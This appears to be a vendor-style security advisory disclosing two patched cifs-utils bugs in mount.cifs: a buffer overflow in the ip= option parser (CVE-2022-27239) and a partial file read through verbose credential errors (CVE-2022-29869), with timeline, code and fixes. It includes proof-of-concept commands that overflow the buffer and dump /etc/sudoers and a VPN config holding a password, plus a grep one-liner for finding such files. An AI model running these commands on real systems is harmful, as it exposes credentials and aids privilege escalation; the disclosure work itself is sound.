We found and patched two bugs in cifs-utils, the userland tools interacting with the CIFS (SMB) Linux implementation. Both the bugs are in mount.cifs, the binary used to mount network shares from userland. One is a buffer overflow in the option parser, the other is a partial arbitrary file read due to overly verbose error messages.
Specific conditions are needed to exploit either of these, hence we consider the risk to be quite moderate but we still recommend to update to the fixed version.
Thanks to:
- David Disseldorp from the Samba team for both patch review and help
- The Samba security team
- The SUSE security team
- The cifs-utils maintainer and contributors
Attributed CVE numbers
Affected versions and platforms
- cifs-utils version 6.14 and below
Fixed versions
Timeline
- 2022-03-16: Buffer overflow reported to Samba security team. Proposal for fix made.
- 2022-03-17: Bug is acknowledged by Samba team. Discussion on the patch started.
- 2022-03-18: CVE-2022-27239 asked by SUSE team and assigned to the overflow bug
- 2022-03-21: file disclosure bug reported with a patch to Samba team and cifs-utils maintainers. Bug is acknowledge on the same day.
- 2022-04-27: proposed patches are merged into cifs-utils repository
- 2022-04-29: cifs-utils 6.15 released containing both patches.
CVE-2022-29869 was assigned sometime between 2022-03-21 and 2022-04-27 by a third-party.
CVE-2022-27239
Bug report: 15025 – CVE-2022-27239: Buffer overflow in mount.cifs options parser (samba.org)
The "ip" option of mount.cifs allow one to specify which IP to connect to when mounting a network share. The user-supplied value is copied to an internal buffer via strcpy
in mount.cifs.c with a previous length check. However, the check was bogus, it returned true whatever the length of the input was:
925 case OPT_IP:
926 if (!value || !*value) {
927 fprintf(stderr,
928 "target ip address argument missing\n");
929 } else if (strnlen(value, MAX_ADDRESS_LEN) <=
930 MAX_ADDRESS_LEN) {
931 strcpy(parsed_info->addrlist, value);
932 if (parsed_info->verboseflag)
933 fprintf(stderr,
934 "ip address %s override specified\n",
935 value);
936 goto nocopy;
937 } else {
938 fprintf(stderr, "ip address too long\n");
As man strnlen
states:
DESCRIPTION
The strnlen() function returns the number of bytes in the string pointed to by s, excluding the terminating null byte ('\0'), but at most maxlen. [...]
The check on line 929 is always true, whatever the size of value is, allowing user input larger than MAX_ADDRESS_LEN
to be copied during the strcpy
on line 931. The correct way of doing this check is to use a strict inferior operator rather than inferior-or-eqal.
The destination buffer size of the strcpy call can be determined as such:
mount.cifs.c:
179 struct parsed_mount_info {
...
188 char addrlist[MAX_ADDR_LIST_LEN];
...
198 };
resolve_host.h:
24 #include <arpa/inet.h>
25
26 /* currently maximum length of IPv6 address string */
27 #define MAX_ADDRESS_LEN INET6_ADDRSTRLEN
28
29 /* limit list of addresses to 16 max-size addrs */
30 #define MAX_ADDR_LIST_LEN ((MAX_ADDRESS_LEN + 1) * 16)
31
32 extern int resolve_host(const char *host, char *addrstr);
INET6_ADDRSTRLEN
should be) defined to 46 on most machines so:
MAX_ADDR_LIST_LEN = (46 + 1) * 16 MAX_ADDR_LIST_LEN = 752
This can be confirmed dynamically by debugging mount.cifs:
(gdb) p sizeof(parsed_info->addrlist)
$1 = 752
By providing a string of 752 characters to the option of mount.cifs, we get the overflow:
$ sudo /usr/sbin/mount.cifs //127.0.0.1/share /mnt/share -o guest,ip=$(python -c "print('A'*752)")
*** buffer overflow detected ***: terminated
Child process terminated abnormally.
While the following run without issues:
$ sudo /usr/sbin/mount.cifs //127.0.0.1/kali /mnt/usb -o guest,ip=$(python -c "print('A'*751)")
mount error(22): Invalid argument
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and kernel log messages (dmesg)
As you can see, the buffer overflow is both detected and mitigated. This is due to mount.cifs being compiled with GCC option -D_FORTIFY_SOURCE=2
in its Makefile. From man feature_test_macros
:
_FORTIFY_SOURCE (since glibc 2.3.4)
Defining this macro causes some lightweight checks to be performed to detect some buffer overflow errors when employing various string and memory manipulation functions (for example, memcpy(3), memset(3), stpcpy(3),
strcpy(3), strncpy(3), strcat(3), strncat(3), sprintf(3), snprintf(3), vsprintf(3), vsnprintf(3), gets(3), and wide character variants thereof). For some functions, argument consistency is checked; for example, a
check is made that open(2) has been supplied with a mode argument when the specified flags include O_CREAT. Not all problems are detected, just some common cases.
If _FORTIFY_SOURCE is set to 1, with compiler optimization level 1 (gcc -O1) and above, checks that shouldn't change the behavior of conforming programs are performed. With _FORTIFY_SOURCE set to 2, some more checkâ€ing is added, but some conforming programs might fail.
Some of the checks can be performed at compile time (via macros logic implemented in header files), and result in compiler warnings; other checks take place at run time, and result in a run-time error if the check fails.
Also, and because of how privileges are handled by mount.cifs, root execution is needed to be able to specify mount options, including the ip=
. This is better explained in next bug section.
Note that root execution can be obtained via different means but we used the sudo
command for our tests.
The fix was to replace the operator in the length check. We also changed the use of strcpy
to strlcpy
as this was the only instance of the function in the codebase.
CVE-2022-29869
Bug report: 15026 – CVE-2022-29869: Partial arbitrary file read via mount.cifs (samba.org)
In a similar fashion to the previous bug, the "credentials" option of mount.cifs can lead to sensitive file disclosure when it is used simulteanously with the "verbose" flag. This option should contain the filepath to the configuration of the mount and has a specific format. Below is an example of a legit credential file:
username=jeff
password=ThisIsTooLongToBeBruteforcedHopefully
When a credential line in the provided file is invalid, the following code is reached in mount.cifs.c:
571 static int open_cred_file(char *file_name,
572 struct parsed_mount_info *parsed_info)
573 {
...
637 case CRED_UNPARSEABLE:
638 if (parsed_info->verboseflag)
639 fprintf(stderr, "Credential formatted "
640 "incorrectly: %s\n",
641 temp_val ? temp_val : "(null)");
Anything after an equal sign in an invalid line is printed when the verbose flag is enabled. Such lines can be found in sensitive files. For example secure_path
and rights in /etc/sudoers can be disclosed:
$ ls -l /etc/sudoers
-r--r----- 1 root root 670 Apr 20 2021 /etc/sudoers
$ sudo /usr/sbin/mount.cifs -v //127.0.0.1/share /mnt/share -o credentials=/etc/sudoers
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (ALL:ALL) ALL
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (ALL:ALL) ALL
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Password for root@//127.0.0.1/share:
mount.cifs kernel mount options: ip=127.0.0.1,unc=\\127.0.0.1\share,user=root,pass=********
mount error(111): could not connect to 127.0.0.1Unable to find suitable address.
Or passwords in /etc/openfortivpn/config:
$ ls -l /etc/openfortivpn/config
-rw------- 1 root root 154 Aug 28 2021 /etc/openfortivpn/config
$ sudo /usr/sbin/mount.cifs -v //127.0.0.1/share /mnt/share -o credentials=/etc/openfortivpn/config
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: vpn.example.org
Credential formatted incorrectly: 443
Credential formatted incorrectly: vpnuser
Credential formatted incorrectly: VPNpassw0rd
Password for root@//127.0.0.1/share:
mount.cifs kernel mount options: ip=127.0.0.1,unc=\\127.0.0.1\share,user=root,pass=********
mount error(111): could not connect to 127.0.0.1Unable to find suitable address.
Such vulnerable files can be searched for on a host from a low privileged user:
$ find /etc -type f ! -readable 2>/dev/null | sudo xargs grep -RnE '=.+' 2>/dev/null
/etc/sudoers:11:Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
/etc/sudoers:20:root ALL=(ALL:ALL) ALL
/etc/sudoers:23:%sudo ALL=(ALL:ALL) ALL
/etc/sudoers:30:testuser ALL=NOPASSWD: /usr/sbin/mount.cifs
[...]
Now, as you can see above, sudo rights are needed to trigger the bug. That is likely because of the following code in mount.cifs.c:
1879 if (getuid()) {
1880 rc = check_fstab(thisprogram, mountpoint, orig_dev,
1881 &newopts);
1882 if (rc)
1883 goto assemble_exit;
1884
1885 orgoptions = newopts;
1886 /* enable any default user mount flags */
1887 parsed_info->flags |= CIFS_SETUID_FLAGS;
1888 }
In the above, if user is not root, then options stated in a fstab entry are taken instead of the ones provided on the command line. If there is no such fstab entry, the program exits before that code is even reached.
So it is needed to execute mount.cifs as root to specify what will be in the options or to control the ones in an fstab entry somehow. Note that /etc/fstab
is by default read-only on a lot of distributions.
In our opinion, it is not unlikely that on some systems, the sudoers file contains a rule as such:
jeff ALL=NOPASSWD: /usr/sbin/mount.cifs
to circumvent the limitation of not being able to precise mount options from the command line. This is the type of scenarios depicted by GTFOBins. It could be used as a mean of elevating privileges or lateralize by reading sensitive files' content.